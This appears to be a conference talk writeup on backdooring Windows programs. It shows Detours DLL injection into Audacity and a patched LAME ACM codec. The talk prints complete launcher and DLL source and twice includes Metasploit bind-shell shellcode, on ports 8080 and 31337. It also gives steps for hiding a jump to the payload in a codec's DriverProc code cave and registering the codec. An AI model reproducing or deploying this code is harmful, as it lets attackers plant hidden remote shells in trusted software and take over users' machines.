Below I have one of my tools I wrote open in the decompiler. We're adding our backdoor code to run when the user select's 'cancel' to spawn a local shell on port 31337 that accepts cmd commands.

Innocent Enough

Or not...

Detours allow us to modify executables without actually touching them.

Microsoft offers their own detours solution, but only for x86. A slight taste. 64 bit? well....

Open source alternatives exist!

Stick it to the man!

https://github.com/stevemk14ebr/PolyHook

https://easyhook.github.io/

Video game cheaters love to use detours because they don't actually modify the binary on disk and thus pass all md5 checks by the game client and server. I won't be covering game cheats this time. Maybe next con?

How does it work?

Detours lets you intercept any function or API as long as you know the name or address. They work by placing a jmp in the address / api that you specify and create trampoline to your chosen code.

Detours For Audacity

In my example, I'm making use of the free Microsoft Libraries for x86 due to laziness. The basic part of a detours system is 2 things:

  1. The launcher - special CreateProcess wrapper that launches processes with your Dll. Mine is generic.
  2. The Dll file you're injecting containing the replacement code.
#include "stdafx.h"
#include <Windows.h>
#include <detours.h>
#pragma comment(lib,"detours.lib")

int _tmain(int argc, _TCHAR* argv[])
{
	if (argc < 2)
	{
		printf("Error, usage is %s + 'target application'. 
Just place detoured.dll into same dir as launced application (keep 
same name)'\r\n", argv[0]);
		return 1;
	}
	_TCHAR *prog = argv[1];
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	if (!DetourCreateProcessWithDllEx(prog,
		NULL, NULL, NULL, TRUE,
		CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED,
		NULL, NULL, &si, &pi,
		"detoured.dll", NULL))
	{
		MessageBox(0, L"failed", 0, 0);
		return 1;
	}
	else
	{
		ResumeThread(pi.hThread);
		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(&si);
		CloseHandle(&pi);
	}
	return 0;
}

The Launcher

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b) make the function arguments match what we saw in IDA
{
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	
	return 4;
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}

The Dll File

Detours For Audacity 2

Now to cover how I got the FuncToDetour address.

In this example, we detour the about box code with our own code. Detours requires a function address or API name. IDA will work for this.

Find About In Audacity

Alt+T, search for 'about'. We find the address for the about box as0x0040c910

Now that we know where the FuncToDetour address is we can hook it and detour it.

Since the point of this talk is backdooring and not popping message boxes, let's adjust the dll code to do something useful. A remote CMD shell on port 8080 is useful.

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b)
{
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	/*
	msf payload(shell_bind_tcp) > generate -t c

	* windows/shell_bind_tcp - 328 bytes
	* http://www.metasploit.com
	* VERBOSE=false, LPORT=8080, RHOST=0.0.0.0,
	* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,
	* AutoRunScript=
	*/
	unsigned char buf[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
		"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89"
		"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
		"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
		"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
		"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
		"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
		"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
		"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5"
		"\xe2\x5d\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
		"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

		// this shit wont work with DEP enabled systems cuz this executes directly on the stack. 
		// need to alloc some memory, mark it RWE
		void *exec = VirtualAlloc(0, sizeof b, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(exec, buf, sizeof buf);
		((void(*)())exec)();

	return 4;
}
extern "C" __declspec(dllexport) void DoNothingAlready(void)
{
	DWORD ayylmao = 20345;
	_asm
	{
		xor eax, eax
			xor ecx, ecx
			mov eax, ayylmao
			mov ecx, 0
		testd:
		fnop
			inc ecx
			cmp eax, ecx
			jnz testd
			pop ebx
			nop
	}
	return;
}

BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
{
	if (DetourIsHelperProcess()) {
		return TRUE;
	}

	if (dwReason == DLL_PROCESS_ATTACH) {
		DetourRestoreAfterWith();
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourAttach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	else if (dwReason == DLL_PROCESS_DETACH) {
		DetourTransactionBegin();
		DetourUpdateThread(GetCurrentThread());
		DetourDetach(&(PVOID&)FuncToDetour, MyFunc);
		DetourTransactionCommit();
	}
	return TRUE;
}

Yeah Baby!

Backdooring acm / ax files / media codecs

wtf is an acm / ax file? wtf is a codec?

How do we backdoor it?

ACM / AX files are just different names for codecs. A codec is a kind of program that works almost like a DLL, except their focus is on encoding/decoding of audio and video related content. Codecs "hook" the audio / video processing order -  you register your codec to be placed in queue first when an audio / video file is read for processing. There are HUNDREDS of codecs out there. The one I remember as being really popular being LAME (Lame Aint an Mp3 Encoder).

Codec

Stream Read From Disk

This crude pic explains it best

Speakers

ACM / AX Files

ACM / AX files are basically dll files with the required entry point 'DriverProc'. Within this EP is the required wrapper filter from DirectShow (Microsoft thingy responsible for audio / video processing) used for registering the callback for audio / video processing. I could devote an entire 2 hour seminar to codecs and how they work. For now though, have a small snippet of code and some links:

wf->wFormatTag = WAVE_FORMAT_MPEGLAYER3;
i = acmFormatSuggest(0, wf, wfout, 1024, ACM_FORMATSUGGESTF_WFORMATTAG);
i = acmStreamOpen(&acm, 0, wf, wfout, 0, 0, 0, ACM_STREAMOPENF_NONREALTIME);
// If you have all the time in the world / no soul, visit MSDN
// https://msdn.microsoft.com/en-us/library/windows/desktop/dd373410(v=vs.85).aspx

lameACM.acm

 

Let's RE this shiz and backdoor it already

Picked up the LAME ACM filter here: http://www.rarewares.org/mp3-lame-dshow-acm.php

Here we see the DriverProc address at 0x1000DD00

Reverse LAME

Checking for space with 'cave.idc...

In previous examples, I needed a function address to hook that's always executed. In this case, I'm being lazy and just jumping from 'DriverProc' because its always executed when the ACM file is initialized by the audio / video filter mechanism. Once again, laziness is a hacker virtue.

More than enough Space

Just going to add a jmp 0x10074c6b to our EP. This address will change thanks to relocation.

Remote shell on port 31337 for 328 bytes, I got 405 to blow.

msf payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 328 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=31337, RHOST=0.0.0.0, 
 * PrependMigrate=false, EXITFUNC=thread, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x7a\x69\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d"
"\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

Cram my shellcode inside

All that's left now is to register the file with regsvr32.exe and wait ;)

Closing thoughts

Questions?

Contact

Joe Giron

http://hda.io

@GironSec